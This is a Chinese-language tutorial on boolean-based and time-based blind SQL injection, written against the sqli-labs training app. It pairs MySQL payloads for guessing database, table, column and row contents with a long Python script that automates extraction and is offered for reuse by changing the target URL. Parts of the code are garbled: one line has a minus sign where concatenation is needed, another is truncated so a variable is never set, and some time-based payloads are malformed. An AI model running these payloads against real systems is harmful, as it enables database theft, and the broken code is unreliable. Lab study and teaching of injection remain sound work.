一、布爾型盲注
布爾型盲注是由於頁面提交數據在與數據交互是完全沒有在頁面上出現回顯數據,只會出現數據提交正確和錯誤倆種不同頁面(報錯型至少語法錯誤會回顯錯誤在頁面上)或者無法使用聯合查詢。
前三個步驟還是像前面聯合注入和報錯注入相同,需要判斷出閉合方式。然後利用頁面給我們呈現出的正確和錯誤的不同回饋來逐個猜測數據庫中的內容。因爲是通過猜測來判斷數據庫中的信息,顯然這裏就需要用到腳本來實現判斷。
函數介紹:
length:返回字符串的長度
mid:從字符串中提取字符。
mid(1,2,3) //1爲必須參數,要截取的字段;2爲必須參數;開始截取的位置;3爲可選參數,返回的字符數,如果省略,就返回剩下所有字符,效果如下:
substr(1,2,3) //截取字符串 三個參數 (所要截取字符串,截取的位置,截取的長度),用法與mid函數一致。
ascii:返回一個字符的ascii值
這裏注意:數值類型的不需要加'',如果是字母需要加上''。
ord()效果與用法和ascii函數一致。
hex():返回一個字符的16進制數
注入原理:
1、判斷數據庫名字
這裏使用的數據庫爲【security】
判斷長度
mysql> select length(database())>1; //通過增加數值可以判斷數據庫的長度爲8
判斷字符
mysql> select ascii(mid(database(),1,1))>115; //這裏需要結合ascii表,判斷第一個字符爲s
依次判斷剩下的幾個字符,最終我們可以得到數據的名字。
2、判斷表名
我們這裏第一個表名爲【emails】;
通過構造SQL語句,判斷出第一個表的第一個字母;
mysql> select ascii(mid((select table_name from information_schema.tables where table_schema='庫名' limit 0,1),1,1))>100;
依次類推,通過修改截取的字段,來猜測出表名。
3、判斷列名
這裏的列名爲id
mysql> select ascii(mid((select column_name from information_schema.columns where table_schema='庫名' and table_name='表名' limit 0,1),1,1))>100;
4、判斷數據
mysql> select ascii(mid((select 列名 from 表名 limit 0,1),1,1))>105;
效果:
當輸入正確時,會得到如下結果:
當錯誤時;
通過這些判斷我們也可以得到我們想要的信息,但是這是純粹的靠猜,比較耗時耗力,所以這裏我們使用腳本就比較好。下面是一個布爾盲注的python腳本,在使用時修改URL中的地址即可。
#!/usr/bin/env Python 3.7.4
import urllib.request
url = "http://192.168.67.134/sqli-labs-master/Less-8/?id=1"
#自定義攻擊的url
success_str = "You are in..........."
database = "database()"
length_payload = "' and length(%s)>=%d #"
ascii_payload = "' and ascii(substr((%s),%d,1))>=%d #"
select_db = "select database()"
select_table_count_payload = "'and (select count(table_name)" \
" from information_schema.tables where table_schema='%s')>=%d #"
select_table_name_length_payload_front = "'and (select length(table_name) " \
"from information_schema.tables where table_schema='%s' " \
"limit "
select_table_count_payload_behind = ",1)>=%d #"
select_table = "select table_name from information_schema.tables " \
"where table_schema='%s' limit %d,1"
def get_length_result(payload, string, length):
"""
發送請求,根據頁面的返回的判斷長度的猜測結果
:param length:當前猜解長度
:param payload:使用的payload
:param string:猜測的字符串
:return:猜解結果布爾值
"""
final_url = url + urllib.request.quote(payload % (string, length))
res = urllib.request.urlopen(final_url) # 打開並將爬取的網頁賦值給res
echo = res.read().decode("utf-8")
if success_str in echo:
return True
else:
return False
def get_length_string(payload, string):
"""
猜解字符串長度
:param string:
:param payload:payload
:return:猜解長度
"""
length_left = 0
length_right = 0
guess = 10
# 確定長度上限,每次增加5
while 1:
# 如果長度大於guess
if get_length_result(payload, string, guess):
# 猜解值增5
guess += 5
else:
length_right = guess
break
# 二分法猜長度
mid = (length_left + length_right) / 2
while length_left < length_right - 1:
# 如果長度大於等於mid
if get_length_result(payload, string, mid):
# 更新長度的左邊界爲mid
length_left = mid
else:
# 更新長度右邊界爲mid
length_right = mid
# 更新中間值
mid = (length_left + length_right) / 2
return length_left
def get_result(ascii_payload, select_db, i, mid):
"""
獲取ASCII碼值比較結果
:param ascii_payload:
:param select_db:
:param i:
:param mid:
:return:
"""
final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
res = urllib.request.urlopen(final_url)
if success_str in res.read().decode("utf-8"):
return True
else:
return False
def get_name(ascii_payload, select_db, length_DB_name):
"""
根據數據庫名長度獲取數據庫名
:type ascii_payload:
:param ascii_payload: 獲取當前字符的ASCII碼值的payload
:param select_db:獲取當前數據庫名
:param length_DB_name: 數據庫名的長度
:return: 返回數據庫名
"""
tmp = ''
for i in range(1, length_DB_name + 1):
left_letter = 32 # 32 爲空格
right_letter = 127 # 127爲刪除
mid = int((left_letter + right_letter) / 2)
while left_letter < right_letter - 1:
# 如果第i個字符的ASCII碼值大於等於mid
if get_result(ascii_payload, select_db, i, mid):
# 更新左邊界
left_letter = mid
else:
# 更新右邊界
right_letter = mid
# 更新中間值
mid = int((left_letter + right_letter) / 2)
tmp += chr(left_letter)
return tmp
def get_tables_name(table_count, dbname):
"""
獲取數據庫中的所有表名
:return:給定數據庫中的所有表名
"""
tables = [] # 定義列表來存放表名
for i in range(0, table_count):
# 第幾個表
num = str(i)
# 獲取當前這個表的長度
select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
select_table_name = select_table % (dbname, i)
table_name = get_name(ascii_payload, select_table_name, table_name_length)
tables.append(table_name)
return tables
def get_table_data(column_count, dbname, table_name, data_count):
"""
獲取指定表的字段名
:param dbname: 數據庫名
:param data_count: 表中有多少行數據
:param column_count: 字段數量
:param table_name: 表名
:return:
"""
fields_value = [] # 定義字段值列表
fields_name = [] # 定義字段名列表
for i in range(0, column_count):
# 獲取當前列字段名長度
get_field_name_length_payload = "'and (select length(column_name)" \
" from information_schema.columns " \
"where table_schema='" + dbname + \
"' and table_name='%s' limit " + str(i) + ",1)>=%d #"
field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
# 獲取該列名字
get_field_name_payload = "select column_name from information_schema.columns " \
"where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
select_field_name_payload = get_field_name_payload % (table_name, i)
field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
fields_name.append(field_name)
# 獲取當前列的所有數據
for j in range(0, data_count):
field_value_payload = "'and (select length(" \
+ field_name + ") from %s limit " + str(j) + ",1)>=%d #"
field_value_length = int(get_length_string(field_value_payload, table_name))
select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
fields_value.append(field_value)
return fields_name, fields_value
def inject():
"""
注入
:return:
"""
# 猜解數據庫名長度
length_DB_name = int(get_length_string(length_payload, database))
print("當前數據庫名長度:" + str(length_DB_name))
# 獲取數據庫名稱
DB_name = get_name(ascii_payload, select_db, length_DB_name)
print("當前數據庫名:" + DB_name)
# 獲取數據庫中表的數量
table_count = int(get_length_string(select_table_count_payload, DB_name))
print("數據庫" + DB_name + "表的數量:" + str(table_count))
# 獲取數據庫中的表
tables_name = get_tables_name(table_count, DB_name)
print("數據庫" + DB_name + "中的表:")
print(tables_name)
# 選擇表
select_table=input("請選擇表:")
if select_table in tables_name:
print('選擇的表是'+select_table)
else:
print('該表不在數據庫中,請檢查輸入是否正確!')
# 獲取該指定表有多少行數據
data_count_payload = "' and (select count(*) from %s)>=%d #"
data_count = int(get_length_string(data_count_payload, select_table))
print(select_table+"表中有" + str(data_count) + "行數據")
# 獲取指定表的字段的數量
select_column_count_payload = "'and (select count(column_name) " \
"from information_schema.columns where table_schema='" \
- DB_name + "' and table_name='%s')>=%d #"
string(select_column_count_payload, select_table))
print(select_table+"表中有" + str(column_count) + "個字段")
# 獲取並打印指定表中的字段名
fields_name, fields_value = get_table_data(column_count, DB_name, select_table, data_count)
# 格式化打印指定表的所有數據
for i in range(0, len(fields_name)):
print(fields_name[i] + "\t", end='')
print()
for i in range(0, int(data_count)):
print(fields_value[0 + i] + "\t", end='')
print(fields_value[int(data_count) + i] + "\t", end='')
if column_count-2>0:
print(fields_value[int(data_count)*2 + i])
else:
print()
def main():
inject()
main()
執行後的結果如下:
二、時間型盲注
當對數據庫進行查詢操作,如果查詢的條件不存在,語句執行的時間便是0。但往往語句執行的速度非常快,線程信息一閃而過,得到的執行時間基本都爲0。但是我們可以用函數,可以利用時間延遲來判斷我們查詢的是否存在。換句話說,就是在數據交互完成完成以後目標網站沒有錯誤或者正確的頁面回顯,無法判斷是正確還是錯誤,這種情況我們可以利用時間函數來判斷我們插入的SQL語句有沒有被執行。這便是SQL基於時間延遲的盲注的工作原理。
函數介紹:
在布爾型盲注函數的基礎上
sleep:將響應延遲
用法:時間型注入的核心函數,我們可以看到後面的執行時間爲1.01s,像一般的執行時間都爲毫秒級,我們基本察覺不到;
if:條件函數
用法:3個參數,參數1如果爲真,返回第2個參數;反之,返回第三個參數。
SQL注入:
1、判斷閉合方式
id=1' and if(1=,sleep(2),1) --+ //判斷閉合方式,正確的話,會有一個2s的延遲後再返回到初始頁面。
利用這個特性我們我們就構造出了正確和錯誤兩種不同的反饋給我們,接下來用SQL語句替換掉條件語句的條件,即可實現SQL入。效果如下:
id=1‘ and if((length(database()>1),sleep(4),0) --+ //增加1值來猜庫名的長度
id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ //庫名
id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = '表名' and table_schema = '數據庫名'limit 0,1),1,1)) > 1),sleep(4),0 )--+ //表名
時間型盲注同樣靠的是猜測來實現數據的獲取,要是完全靠猜測,也是不太現實,所以這裏同樣也需要腳本來實現。